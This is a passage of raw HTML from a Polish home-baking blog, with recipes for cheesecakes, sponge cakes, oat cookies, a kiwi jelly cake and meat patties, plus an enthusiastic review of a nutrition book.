<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: Arial, Helvetica, sans-serif;">1/2 szklanka mąki</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: Arial, Helvetica, sans-serif;">1 opakowanie budyniu waniliowego</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: Arial, Helvetica, sans-serif;">2 łyżki zimnej wody</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: Arial, Helvetica, sans-serif;">2 łyżki oleju</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: Arial, Helvetica, sans-serif;">łyżeczka proszku do pieczenia</span></li>
</ul>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">na galaretkę:</span></div>
<div>
<ul>
<li><span style="font-family: Arial, Helvetica, sans-serif;">6-7 owoców kiwi</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 opakowania galaretki kiwi</span></li>
</ul>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">na piankę:</span></div>
</div>
<div>
<ul>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 duże kubki jogurtu (może być grecki)</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">3 łyżki cukru pudru</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">4 łyżeczki żelatyny</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">łyżka czekoladowej posypki</span></li>
</ul>
</div>
<div style="background-color: white;">
<span style="font-family: Arial, Helvetica, sans-serif;">Białka ubić na sztywno ze szczyptą soli. Ubijając dalej dodawać cukier a następnie żółtka, później wodę i olej. Mąkę wymieszać z budyniem i proszkiem do pieczenia. Przesiać do masy jajecznej i delikatnie ale dokładnie wymieszać. Przełożyć do foremki wyścielonej papierem do pieczenia. Piec w 180*C przez około 30 minut. Wystudzić. </span></div>
<div style="background-color: white;">
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div style="background-color: white;">
<span style="font-family: Arial, Helvetica, sans-serif;">Galaretki rozpuścić w 700 ml wody. Kiwi obrać, pokroić w kostki. W rondelku zagotować odrobinę wody, wrzucić kiwi i gotować minutę. Wyjąć i wystudzić. Tężejącą galaretkę wymieszać z kiwi i wylać na biszkopt. Wstawić do lodówki aż do całkowitego stężenia. </span></div>
<div style="background-color: white;">
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div style="background-color: white;">
<span style="font-family: Arial, Helvetica, sans-serif;">Żelatynę rozpuścić w niewielkiej ilości wrzątku. Jogurt wymieszać z cukrem i żelatyną. Wyłożyć na galaretkę i posypać posypką. Wstawić do lodówki. </span></div>
<div style="background-color: white;">
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-3kifO35a_Kg/XTX-RYDSYVI/AAAAAAAAN_g/A-M96ISCDvAfGaADch4cDDbDt__doBw1gCEwYBhgL/s1600/kostka%2Bjogurtowa%2Bzkiwi.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1274" height="640" src="https://1.bp.blogspot.com/-3kifO35a_Kg/XTX-RYDSYVI/AAAAAAAAN_g/A-M96ISCDvAfGaADch4cDDbDt__doBw1gCEwYBhgL/s640/kostka%2Bjogurtowa%2Bzkiwi.jpg" width="508" /></a></div>
<div style="background-color: white;">
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<br />Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com0tag:blogger.com,1999:blog-6618786850056883492.post-83767411328282321452019-07-03T19:50:00.000+02:002019-07-25T07:08:10.905+02:00sernik gotowany na krakersach <div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-twTmjfqoe3k/XQPgS5qdQQI/AAAAAAAAN88/tHSNa7DkBqgHcZGTZIIldR7DgNxivwodACLcBGAs/s1600/sernik%2Bna%2Bkrakersach%2B2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1267" height="640" src="https://1.bp.blogspot.com/-twTmjfqoe3k/XQPgS5qdQQI/AAAAAAAAN88/tHSNa7DkBqgHcZGTZIIldR7DgNxivwodACLcBGAs/s640/sernik%2Bna%2Bkrakersach%2B2.jpg" width="506" /></a></div>
<br />
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i>Jedno z najbardziej ekspresowych ciast, obala mit, że sernik jest trudny. Co prawda do idealnego pieczonego sernika mu daleko ale jako ciasto na zimno niczego mu nie brakuje. Jest lekkie, słone krakersy w słodkiej masie serowej grają doskonale. Zwłaszcza, że smaku dopełnia lekko kwaśny wiśniowy wierzch. Niby takie proste a goście nachwalić się nie mogli:)</i></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">*foremka 25*34 cm</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">Składniki:</span><br />
<br />
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 paczki krakersów solonych</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1 kg sera na sernik z wiaderka</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">5 jajek</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1 szklanka cukru</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">150 g masła</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 opakowania budyniu śmietankowego</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1/2 szklanki mleka</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">słoiczek dżemu wiśniowego</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">galaretka wiśniowa</span></li>
</ul>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Foremkę do ciasta wyłożyć wysoko papierem do pieczenia. Na dnie ułożyć warstwę krakersów. </span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">W garnku o grubym dnie rozpuścić masło, dodać cukier, jajka i ser. Gotować kilka minut cały czas mieszając. Budynie rozrobić w mleku i wlać do masy serowej, zagotować. Gorącym serem przekładać krakersy tak, żeby były ich trzy warstwy. Wystudzić. </span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Galaretkę rozpuścić w połowie szklanki wrzątku. Wystudzić i wymieszać z dżemem. Wyłożyć na wierzch ciasta. Wstawić do lodówki na kilka godzin. </span></div>
Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com0tag:blogger.com,1999:blog-6618786850056883492.post-61893498602528798872019-06-26T19:11:00.000+02:002019-06-26T19:11:00.585+02:00ciasteczka owsiane z żurawiną <div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-rAKpjeCpTg4/XROioVDB4zI/AAAAAAAAN-U/_6C89z-QnOQjGTT1tA4FjEp_o4OAgQJugCLcBGAs/s1600/ciasteczka%2Bowsiane.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="640" src="https://1.bp.blogspot.com/-rAKpjeCpTg4/XROioVDB4zI/AAAAAAAAN-U/_6C89z-QnOQjGTT1tA4FjEp_o4OAgQJugCLcBGAs/s640/ciasteczka%2Bowsiane.jpg" width="480" /></a></div>
<br />
<span style="color: #666666; font-family: Arial, Helvetica, sans-serif;"><i>Ciasteczka owsiane już od dawna za mną chodziły, zwłaszcza, że cała nasza rodzina uwielbia płatki owsiane i wszystko co z nimi związane. Chciałam upiec zdrowszą wersję ciasteczek, dlatego nie dałam zbyt wiele cukru a dosłodziłam je suszoną żurawiną. Po wystudzeniu były chrupiące nawet przez kilka dni zamknięte w szczelnym pojemniku. Moje dziewczyny je pokochały, zabieramy je ze sobą nad rzekę i pikniki. Są nie tylko smaczne ale też pożywne. A do tego bardzo łatwe do zrobienia. </i></span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">Żurawinę w bardzo dobrej cenie kupiłam w sklepie ze zdrową żywnością <a href="http://www.bee.pl/">www.bee.pl</a></span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">Składniki na dwie blaszki ciastek:</span><br />
<br />
<ul>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 szklanki płatków owsianych górskich</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1 szklanka mąki pszennej</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1 szklanka suszonej żurawiny</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1/2 szklanki słonecznika</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1/2 szklanki cukru (można dodać więcej)</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1 jajko</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">200 g masła</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">szczypta soli</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">łyżeczka proszku do pieczenia</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1/2 łyżeczki sody</span></li>
</ul>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">Miękkie masło utrzeć z cukrem i solą. Kiedy masa będzie puszysta dodać jajko i nadal ucierać. Mąkę przesiać z sodą i proszkiem i wsypać do masy maślanej. Zmiksować. Dodać płatki, żurawinę i słonecznik. Wymieszać łyżką. Ręce zwilżyć zimną wodą i formować kulki z ciasta. Układać je na blaszce do pieczenia i lekko spłaszczyć. Piec w 180*C przez około 15 minut.</span> </div>
Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com1tag:blogger.com,1999:blog-6618786850056883492.post-25479341718742915042019-06-25T17:33:00.001+02:002019-06-25T17:33:06.662+02:00DNA żywienia- recenzja książki Catherine Shanahan<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-cMtrZ_0L8IM/XRI-kFf3pbI/AAAAAAAAN-I/bS-m44ji0mk--0T8Gm_lvVy385NytGtRQCLcBGAs/s1600/IMG_20190625_173029.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="400" src="https://1.bp.blogspot.com/-cMtrZ_0L8IM/XRI-kFf3pbI/AAAAAAAAN-I/bS-m44ji0mk--0T8Gm_lvVy385NytGtRQCLcBGAs/s400/IMG_20190625_173029.jpg" width="300" /></a></div>
<br />
<br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">DNA żywienia</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">Catherine Shanahan</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">Wydawnictwo Galaktyka</span><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Do tematu zdrowego żywienia zawsze podchodziłam z dystansem, nie brałam na poważnie tych wszystkich "zdrowych" sloganów. Do momentu aż w moje ręce trafiła książka "DNA żywienia". </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Największym jej plusem poza treścią, jest to, że bardzo dobrze się ją czyta. Dlatego przebrnęłam szybko przez ponad 500 stron ciekawych, merytorycznych informacji. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">W książce tej oczywiste z pozoru zagadnienia przeplatają się z ciekawostkami, których moim zdaniem powinni uczyć w szkole. Na pewno bylibyśmy zdrowsi, bo bardziej świadomi. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">A wiodącym tematem jest powiązanie między ludzkim DNA a sposobem żywienia. To jak te dwa czynniki oddziałują na siebie i jaki żywienie ma wpływ na przyszłe pokolenia. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">W książce autorka, po wielu latach badań i obserwacji udowadnia, że dla człowieka naturalne są cztery rodzaje pokarmów: kiszonki i kiełki, mięso z kością, podroby oraz świeża żywność. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Jaki wpływ na nasze zdrowie ma cukier, oleje roślinne czy pszenica? </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Czy zmieniając swoją dietę możemy pozbyć się alergii, poprawić sprawność fizyczną i psychiczną, wyglądać młodo? Tak, tylko najpierw musimy mieć konkretną wiedzę. A taka zawiera się właśnie w tej grubej ale niezwykle mądrej książce. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Przyznam szczerze, że czytając niejednokrotnie byłam w szoku. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">Nie zdajemy sobie sprawy jak przemysł żywieniowy i farmaceutyczny robi nas w balona. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">A to co jest dodatkowym plusem książki to zawarte w niej przepisy, warte wykorzystania. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Tak jak pisałam powyżej mądra książka ale z gatunku tych, które trzeba czytać ze skupieniem, na spokojnie. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">I chociaż podeszłam do niej sceptycznie, to jestem nią zachwycona. Dawno nic nie zrobiło na mnie takiego wrażenia. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">A książkę możecie kupić tutaj: <a href="https://www.ceneo.pl/77162135#crid=267819&pid=19865" target="_blank">klik </a></span><br />
<br />
Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com0tag:blogger.com,1999:blog-6618786850056883492.post-23485473145649182172019-06-18T20:04:00.000+02:002019-06-18T20:04:07.644+02:00biszkopt budyniowy z truskawkami<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-npAgSJcQbvU/XQkkhr9UL5I/AAAAAAAAN9c/mn_8s3LoWMEJxHXJawiFOPLh7mzchg8fACLcBGAs/s1600/biszkopt%2Bbudyniowy%2Bz%2Btruskawkami.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="640" src="https://1.bp.blogspot.com/-npAgSJcQbvU/XQkkhr9UL5I/AAAAAAAAN9c/mn_8s3LoWMEJxHXJawiFOPLh7mzchg8fACLcBGAs/s640/biszkopt%2Bbudyniowy%2Bz%2Btruskawkami.jpg" width="480" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="color: #666666; font-family: Arial, Helvetica, sans-serif;"><i>Ciasta z owocami najlepsze są w wersji prostej, taniej, szybkiej. Ten przepis wspaniale nada się na wypadek niespodziewanych gości albo kiedy chce nam się ciasta a w domu nie ma wyszukanych składników. Zamiast truskawek można użyć dowolnych owoców a wierzch dodatkowo posypać kruszonką. </i></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Arial, Helvetica, sans-serif;">Składniki:</span></div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<ul>
<li><span style="font-family: Arial, Helvetica, sans-serif;">6 jajek</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1 szklanka cukru</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1 szklanka mąki</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 opakowania budyniu waniliowego</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">4 łyżki zimnej wody</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">4 łyżki oleju</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">łyżeczka proszku do pieczenia</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">500 g truskawek</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">łyżka cukru pudru</span></li>
</ul>
<div>
<span style="background-color: white; font-size: 15.84px;"><span style="font-family: Arial, Helvetica, sans-serif;">Białka ubić na sztywno ze szczyptą soli. Ubijając dalej dodawać cukier a następnie żółtka, później wodę i olej. Mąkę wymieszać z budyniem i proszkiem do pieczenia. Przesiać do masy jajecznej i delikatnie ale dokładnie wymieszać. Przełożyć do foremki wyścielonej papierem do pieczenia. Na wierzchu ułożyć połówki truskawek. Piec w 180*C około 30 minut. Wystudzić i posypać cukrem pudrem. </span></span></div>
<br />
<br />Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com1tag:blogger.com,1999:blog-6618786850056883492.post-8349900970291627962019-06-14T20:10:00.001+02:002019-06-14T20:10:29.360+02:00kotleciki mielone z kaszą i marchewką <div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-NaTJrnWb0nE/XQPgJuZRa0I/AAAAAAAAN84/NT5DZgLu008mXb3Eux_PdBKhVPS2FGRRgCLcBGAs/s1600/kotleciki%2Bjaglane%2B2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="640" src="https://1.bp.blogspot.com/-NaTJrnWb0nE/XQPgJuZRa0I/AAAAAAAAN84/NT5DZgLu008mXb3Eux_PdBKhVPS2FGRRgCLcBGAs/s640/kotleciki%2Bjaglane%2B2.jpg" width="480" /></a></div>
<br />
<br />
<span style="font-family: Arial, Helvetica, sans-serif;">Te kotleciki moje córki pokochały od pierwszego razu. Zjadły na obiad a później jeszcze jak my za dawnych czasów biegały po podwórku z kotletem w ręce. </span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">Dodatek kaszy jaglanej fajnie odmienił smak zwykłych mielonych, marchewka nadała chrupkości a curry egzotycznego smaku. Do tego duuużo czosnku i zielonej cebulki. Można je podac klasycznie z ziemniakami i buraczkami a mogą też być fajną wkładką do domowych burgerów. A tak poza tym ten przepis się przyda kiedy będziecie mieć mało mięsa mielonego a zapotrzebowanie na więcej kotletów. No po prostu palce lizać. </span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">Składniki:</span><br />
<br />
<ul>
<li><span style="font-family: Arial, Helvetica, sans-serif;">300 g mięsa mielonego</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">50 g kaszy jaglanej</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">duża marchewka</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">duża cebula</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 ząbki czosnku</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">jajko</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">kajzerka</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">curry, sól, pieprz, słodka papryka</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">zielona cebulka</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">olej do smażenia</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">3-4 łyżki mąki</span></li>
</ul>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">Kaszę ugotować w osolonej wodzie i odcedzić. Kajzerkę namoczyć w wodzie i odcisnąć. Cebulę, zieloną cebulkę i czosnek drobno posiekać. Marchewkę zetrzeć na tarce o grubych oczkach. </span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">Wszystkie te składniki połączyć, wbić jajko, dodać przyprawy. Wyrobić na jednolitą masę, żeby dobrze się wymieszało. Formować kotleciki, obtaczać w mące i powoli smażyć z obu stron na złoto. </span></div>
Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com1tag:blogger.com,1999:blog-6618786850056883492.post-28967704975379885062019-06-01T00:00:00.000+02:002019-06-01T00:00:01.310+02:00żyrafa- rolada z truskawkami i galaretką<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-nJw9tjgsxUA/XPFrCaqvfkI/AAAAAAAAN68/H7Rpq4JQP9wavTqZN0pBo5PCZZ5MML0PwCLcBGAs/s1600/rolada%2B%25C5%25BCyr%2B3%2Bpod.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="640" src="https://1.bp.blogspot.com/-nJw9tjgsxUA/XPFrCaqvfkI/AAAAAAAAN68/H7Rpq4JQP9wavTqZN0pBo5PCZZ5MML0PwCLcBGAs/s640/rolada%2B%25C5%25BCyr%2B3%2Bpod.jpg" width="480" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<br />
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i>Tegoroczny Dzień Dziecka nie mógł obyć się bez deseru. Tym razem nie była to niespodzianka a zrobiłyśmy go z dziewczynami wspólnie. Ala pomagała robić biszkopt a Emilka wypełnienie. Z takimi pomocnikami uwinęłyśmy się ekspresowo a ciasto wyszło nie dość, że bardzo dobre to jeszcze ciekawie wyglądało. Doskonale wpisało się w klimat dziecięcego święta. </i></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">*duża blaszka z piekarnika</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">Składniki:</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">na biszkopt:</span><br />
<br />
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">3 jajka</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">3/4 szklanki cukru</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1/2 szklanki mąki</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1/3 szklanki mąki ziemniaczanej</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">3 łyżki oleju</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">3 łyżki zimnej wody</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1/2 łyżeczki proszku do pieczenia</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">łyżka kakao</span></li>
</ul>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">na masę serową:</span></div>
<div>
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">200 g serka białego </span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">200 ml śmietanki kremówki</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">3 łyżeczki żelatyny</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 łyżki cukru pudru</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">zielona galaretka pokrojona w kostki</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">150 g truskawek</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">banan</span></li>
</ul>
</div>
<br />
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Przygotowanie ciasta zacząć od upieczenia biszkoptu . Białka ubić na sztywno ze szczyptą soli. Ubijając dalej dodawać cukier a następnie żółtka, później wodę i olej. Mąkę wymieszać z mąką ziemniaczaną i proszkiem do pieczenia. Przesiać do masy jajecznej i delikatnie ale dokładnie wymieszać. Podzielić ciasto na połowę. Do jednej części dodać kakao. Przełożyć do szprycy jasne ciasto i wyciskać na blachę wyścieloną papierem wzorek (coś jak nieregularna kratka). Następnie do szprycy przełożyć ciemne ciasto i wyciskać pomiędzy jasne. Wstawić do piekarnika nagrzanego do 180*C i piec około 15 minut (aż będzie upieczone ale z wierzchu sprężyste). Upieczony biszkopt wyjąć, położyć na niego wilgotną ściereczkę i razem z nią zawijać go w roladę (jednocześnie zdejmując papier). Należy to zrobić od razu, później biszkopt pięknie. Zostawić tak zwinięte aż wystygnie. </span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Truskawki i banana pokroić na małe kawałki. </span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Żelatynę rozpuścić w odrobinie wody. Kremówkę ubić na sztywno z cukrem pudrem. Miksując dodać serek i żelatynę. Dobrze połączyć. Biszkopt rozwinąć, posmarować kremem, położyć na nim galaretkę i owoce, zwinąć. Odstawić do lodówki do kilka godzin. </span></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-ueKU3JqB3mw/XPFr9omjWUI/AAAAAAAAN7k/JzmVz5njDqEMp89-e6zl3XkYF1vjcgungCLcBGAs/s1600/rolada%2Bkolaz.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="664" data-original-width="1600" height="264" src="https://1.bp.blogspot.com/-ueKU3JqB3mw/XPFr9omjWUI/AAAAAAAAN7k/JzmVz5njDqEMp89-e6zl3XkYF1vjcgungCLcBGAs/s640/rolada%2Bkolaz.jpg" width="640" /></a></div>
<div>
<br />
<div>
<br /></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
<br /></div>
</div>
Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com0tag:blogger.com,1999:blog-6618786850056883492.post-87757506057118378932019-05-28T07:40:00.000+02:002019-05-28T07:40:57.308+02:00sernik "witaminka" z bezą <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-mC4tDld4saY/XOv0-QBIRdI/AAAAAAAAN6Q/IH3EICU2UZcNF3LuF9geU1TxH0kG-u4UQCLcBGAs/s1600/witaminka%2Bkola%25C5%25BC.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1059" data-original-width="1600" height="422" src="https://1.bp.blogspot.com/-mC4tDld4saY/XOv0-QBIRdI/AAAAAAAAN6Q/IH3EICU2UZcNF3LuF9geU1TxH0kG-u4UQCLcBGAs/s640/witaminka%2Bkola%25C5%25BC.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">W ostatnich latach upiekłam prawie sto różnych serników (wszystkie przepisy <a href="http://cukierenkaklementynki.blogspot.com/search/label/serniki%20%2887%29" target="_blank">tutaj-klik</a>), większością z nich byłam zachwycona ale ten chyba pobił je wszystkie. Był absolutnie GENIALNY! </span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">Zainspirowałam się bardzo smacznym, lubianym przez nas ciastem Kubuś (<a href="http://cukierenkaklementynki.blogspot.com/2017/02/ciasto-kubus-z-delicjami-i-pianka.html" target="_blank">przepis-klik</a>) ale nie spodziewałam się, że wyjdzie aż tak dobrze:) Dobrą robotę zrobiła tutaj chrupiąca beza, która była wspaniałym wykończeniem. Goście pytali co to za pomarańczowa masa a na odpowiedź, że to marchewkowy budyń unosili brwi ze zdziwienia. Jedli aż im się uszy trzęsły:) Jak to powiedzieli- idealny, nie za słodki. I to chyba najlepsza rekomendacja. </span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">Ja wiecie do jakiegoś czasu testuję piekarnik parowy <a href="https://www.electrolux.pl/kitchen/cooking/ovens/steam-oven/eod5c71x/" target="_blank">Electrolux</a> (cenę można sprawdzić tutaj- <a href="https://www.blogger.com/"><span id="goog_1442132936"></span>klik<span id="goog_1442132937"></span></a>) . Namiętnie piekę w nim pieczywo a teraz chciałam wypróbować jak sprawdzi się przy serniku. Podczas pieczenia z funkcją pary wyrósł ogromnie (wiadomo, później opadł) ale miał bajeczną konsystencję- niby lekki i puszysty ale też wilgotny. Idealny. </span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">*foremka 25*34 cm</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">Składniki:</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">na sernik:</span></div>
<div class="separator" style="clear: both;">
</div>
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1,5 kilogram sera na sernik z wiaderka</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">6 jajek</span></li>
